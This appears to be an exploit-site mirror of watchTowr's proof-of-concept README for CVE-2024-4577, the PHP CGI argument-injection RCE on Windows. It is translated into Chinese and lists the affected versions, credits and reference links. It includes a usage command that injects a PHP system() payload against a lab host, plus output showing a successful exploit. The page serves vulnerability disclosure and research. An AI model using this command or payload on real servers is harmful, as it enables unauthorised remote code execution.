## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WATCHTOWRLABS-CVE-2024-4577
# CVE-2024-4577
由 @watchTowr 开发的概念验证,利用 PHP CGI 参数注入漏洞(CVE-2024-4577),在运行于 Windows 环境中的易受攻击的 PHP 版本上实现 RCE。此漏洞的详细技术分析

# Orange Tsi 🍊
此漏洞由 DEVCORE (@d3vc0r3) 的 Orange Tsai (@orange_8361) 发现。请务必关注他的杰出研究,我们的角色仅是复现并为此漏洞开发利用程序。
# PoC || GTFO
root@kitploit:~
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr (some-email@example.com)
- Sina Kheirkhah (@SinSinology), watchTowr (some-email@example.com)
CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
# 受影响版本
基于 DEVCORE (@d3vc0r3) 的原始博客文章,此漏洞影响所有安装在 Windows 操作系统上的 PHP 版本:
root@kitploit:~
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
由于 PHP 8.0、PHP 7 和 PHP 5 分支已生命周期结束,不再维护,服务器管理员可以参考此处的“我是否受影响”部分,以在缓解措施部分找到临时补丁建议。
# 漏洞利用作者
watchTowr (@watchtowrcyber) 的 Aliz (@AlizTheHax0r) 和 Sina Kheirkhah (@SinSinology)
# 关注 watchTowr 实验室
如需获取最新的安全研究,请关注 watchTowr 实验室团队
* https://labs.watchtowr.com/
* https://twitter.com/watchtowrcyber
* https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
* https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
* https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/